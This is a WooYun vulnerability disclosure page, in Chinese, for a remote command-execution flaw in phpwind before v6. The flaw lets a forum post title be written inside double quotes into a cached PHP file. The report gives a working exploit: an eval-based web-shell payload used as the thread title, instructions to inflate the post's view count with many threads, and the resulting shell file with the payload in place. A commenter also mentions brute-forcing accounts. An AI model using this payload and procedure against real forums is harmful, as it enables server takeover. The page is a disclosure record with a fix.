当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(159) 关注此漏洞

缺陷编号: WooYun-2015-153256

漏洞标题: phpwind < v6 版本命令执行漏洞

相关厂商: phpwind

漏洞作者: 猪猪侠认证白帽子

提交时间: 2015-11-10 12:06

公开时间: 2016-02-08 15:10

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

28人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

07年的漏洞,一个轻松简单就能利用的漏洞

详细说明:

phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序

代码直接使用savearray将数据库查询出来的内容写入php文件,savearray出来的参数,都使用"双引号来包含,所以可以利用变量来执行任意命令

code 区域
elseif($action=='article'){
$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");
if(!$per || $timestamp-$cachetime>$per*3600){
$_SORTDB=$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.replies DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic['replies']){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
}
$_SORTDB['reply']=$_sort;

$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.hits DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic['hits']){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
}
$_SORTDB['hit']=$_sort;
$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>'0' AND t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.lastpost DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
$_SORTDB['digest']=$_sort;
$ARTICLEDB=savearray('_ARTICLEDB',$_SORTDB);

writeover(D_P.'data/bbscache/article_sort.php',"<?php\r\n".$ARTICLEDB.'?>');
}



发表一个帖子:标题如下

code 区域
${@eval($_POST[x])}XXXX

article_title.jpg





再开一个多线程(100线程,几分钟就可以了),请求访问那个帖子,直到帖子的访问量排入前20

code 区域
function savearray($name,$array){
$arraydb="\$$name=array(\r\n\t\t";
foreach($array as $key=>$value){
$arraydb.="'".$key."'=>\narray(\r\n\t\t\t";
foreach($value as $value1){
$arraydb.='array(';
foreach($value1 as $value2){
$arraydb.='"'.addslashes($value2).'",';
}
$arraydb.="),\r\n\t\t\t";
}
$arraydb.="),\r\n\t\t";
}
$arraydb.=");\r\n";
return $arraydb;



第二天,生成统计排行的时候,shell就躺在了 /data/bbscache/article_sort.php

三个白帽实际演示:http://**.**.**.**/data/bbscache/article_sort.php

article_shell.jpg

漏洞证明:

/data/bbscache/article_sort.php

code 区域
<?php
$_ARTICLEDB=array(
'reply'=>
array(
array("1","${@eval($_POST[x])}XXXX ..","5732","2",),
array("10","DDDDDDDDDDDDDDDDD","20","2",),
array("7","HI Everybody ( b)ம","8","2",),
array("3","hello","5","2",),
array("5","䜲⊔","3","2",),
array("2","test","3","2",),
array("9","AAAAAAAAAAAAA","2","2",),
array("6","ִА⫢,"1","2",),
array("8","⵽բ萾ዢ,"1","2",),
),
'hit'=>
array(
array("1","${@eval($_POST[x])}XXXX ..","11382","2",),
array("2","test","3235","2",),
array("3","hello","985","2",),
array("5","䜲⊔","331","2",),
array("7","HI Everybody ( b)ம","123","2",),

修复方案:

使用单引号处理来自客户端可控的变量

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-08 15:10

厂商回复:

您好,由于phpwind目前仅维护phpwind8.7及以上版本,其他低版本已不再维护更新。该问题暂不会影响到新版本的用户,建议仍在使用低版本的用户尽快升级到最新版。

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-11-10 12:12 | 土夫子 ( 普通白帽子 | Rank:469 漏洞数:83 | 看似山穷水尽,终将柳暗花明)
    2

    坐等公开

  2. 2015-11-10 12:13 | 不能忍 ( 普通白帽子 | Rank:113 漏洞数:51 | 要是能重来,我要选李白!)
    1

    留名

  3. 2015-11-10 12:19 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    1

    快去1024shell了把我的账号解禁,妈蛋

  4. 2015-11-10 12:20 | hecate ( 普通白帽子 | Rank:796 漏洞数:125 | ®高级安全工程师 | WooYun认证√)
    1

    藏了这么久才放出来

  5. 2015-11-10 12:23 | niexinming ( 普通白帽子 | Rank:259 漏洞数:47 | 好好学习,天天日站)
    1

    坐等公开

  6. 2015-11-10 12:26 | sqlfeng ( 普通白帽子 | Rank:573 漏洞数:74 | http://weibo.com/fds1986)
    1

    球1024 帐号

  7. 2015-11-10 12:43 | DNS ( 普通白帽子 | Rank:748 漏洞数:81 | root@qisec.com)
    1

    你关注的白帽子 猪猪侠 发表了漏洞 phpwind < v6 版本命令执行漏洞

  8. 2015-11-10 13:49 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    1

    我就说嘛 有0day的~

  9. 2015-11-10 14:03 | 0xev4l ( 路人 | Rank:0 漏洞数:1 | 努力吧!骚年!北京买房买车买菜!)
    1

    坐等0day

  10. 2015-11-10 14:17 | 世纪缘 ( 路人 | Rank:2 漏洞数:4 | 专注无线网络安全!)
    1

    坐等0day

  11. 2015-11-10 16:03 | Annabelle ( 实习白帽子 | Rank:56 漏洞数:17 | .)
    1

    话说,有卖1024邀请码的吗...多少WB啊?

  12. 2015-11-10 16:12 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    1

    @Annabelle 乌云集市有......(*^__^*)

  13. 2015-11-25 09:15 | 紫藤居士 ( 实习白帽子 | Rank:43 漏洞数:8 | 我是来向大神们学习的)
    1

    坐等大牛放1024邀请码

  14. 2016-02-08 18:14 | 老实先生 ( 普通白帽子 | Rank:204 漏洞数:63 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)
    1

    @Annabelle @紫藤居士 @sqlfeng 爆破,我破了3个号

  15. 2016-03-24 20:36 | 伤剑 ( 实习白帽子 | Rank:66 漏洞数:31 |  哪有常胜无敌,   哪有人儿不去。 ...)
    1

    猪猪侠如果是网站论坛一体的,地址不变吗

  16. 2016-03-24 21:36 | 伤剑 ( 实习白帽子 | Rank:66 漏洞数:31 |  哪有常胜无敌,   哪有人儿不去。 ...)
    1

    ${@eval($_POST[x])}XXXX xxx随便写吗

登录后才能发表评论,请先 登录